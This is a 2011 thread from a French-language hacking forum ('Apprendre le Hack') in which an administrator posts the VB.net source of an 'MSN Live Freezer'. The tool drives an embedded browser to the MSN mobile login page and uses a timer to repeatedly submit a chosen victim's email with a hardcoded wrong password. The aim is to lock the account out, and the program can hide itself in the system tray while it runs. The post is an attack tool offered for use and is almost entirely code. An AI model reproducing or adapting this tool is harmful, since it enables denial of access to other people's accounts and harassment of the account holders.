Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Freezer MSN VB.net ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 11:00 (2011)    Sujet du message: Freezer MSN VB.net Répondre en citant

Biohazard Live Freezer.






Code source du freeser



  1. Imports System.Threading.Thread  
  2. Public Class Form1  
  3.     Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  4.         If CheckBox1.Checked = True Then  
  5.   
  6.             If CheckBox2.Checked = True Then  
  7.                 MsgBox("You can't choose Hide and Minimize To Tray both. Please uncheck one.")  
  8.                 GoTo done  
  9.             End If  
  10.             Me.Hide()  
  11.         End If  
  12.         If CheckBox2.Checked = True Then  
  13.             If CheckBox1.Checked = True Then  
  14.                 MsgBox("You can't choose Hide and Minimize To Tray both. Please uncheck one.")  
  15.                 GoTo done  
  16.             End If  
  17.             NotifyIcon1.Visible = True  
  18.             Me.Hide()  
  19.         End If  
  20.         Button1.Enabled = False  
  21.         Button2.Enabled = True  
  22.         WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")  
  23.         Sleep(2000)  
  24.         Timer1.Enabled = True  
  25.         Label3.Text = "Freezing..."  
  26. done:  
  27.     End Sub  
  28.   
  29.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  30.         On Error GoTo errordetected  
  31.   
  32.   
  33.         WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))  
  34.         WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))  
  35.         Sleep(2000)  
  36.         WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")  
  37.         Label8.Text = Val(Label8.Text + 1)  
  38.         If Label8.Text = "10" Then  
  39.             Label3.Text = "Frozen!"  
  40.         End If  
  41.         GoTo done  
  42. errordetected:  
  43.         Label3.Text = "Frozen!"  
  44.         WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")  
  45. done:  
  46.   
  47.     End Sub  
  48.   
  49.     Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click  
  50.         Label3.Text = "Ready"  
  51.         MsgBox("MSN UnFrozen!")  
  52.         Timer1.Enabled = False  
  53.         Button2.Enabled = False  
  54.         Button1.Enabled = True  
  55.     End Sub  
  56.   
  57.     Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  58.         If CheckBox1.Checked = True Then  
  59.             Me.Hide()  
  60.         End If  
  61.     End Sub  
  62.   
  63.     Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick  
  64.         Me.Show()  
  65.         NotifyIcon1.Visible = False  
  66.         CheckBox2.Checked = False  
  67.     End Sub  
  68.   
  69.     Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged  
  70.         If CheckBox2.Checked = True Then  
  71.             If CheckBox1.Checked = True Then  
  72.                 MsgBox("You can't choose Hide and Minimize To Tray both. Please uncheck one.")  
  73.                 GoTo done1  
  74.             End If  
  75.             If Timer1.Enabled = True Then  
  76.                 Me.Hide()  
  77.                 NotifyIcon1.Visible = True  
  78.             End If  
  79.         End If  
  80. done1:  
  81.     End Sub  
  82.   
  83.       
  84.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick  
  85.         Label5.Text = TimeOfDay  
  86.     End Sub  
  87. End Class  


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 11:00 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com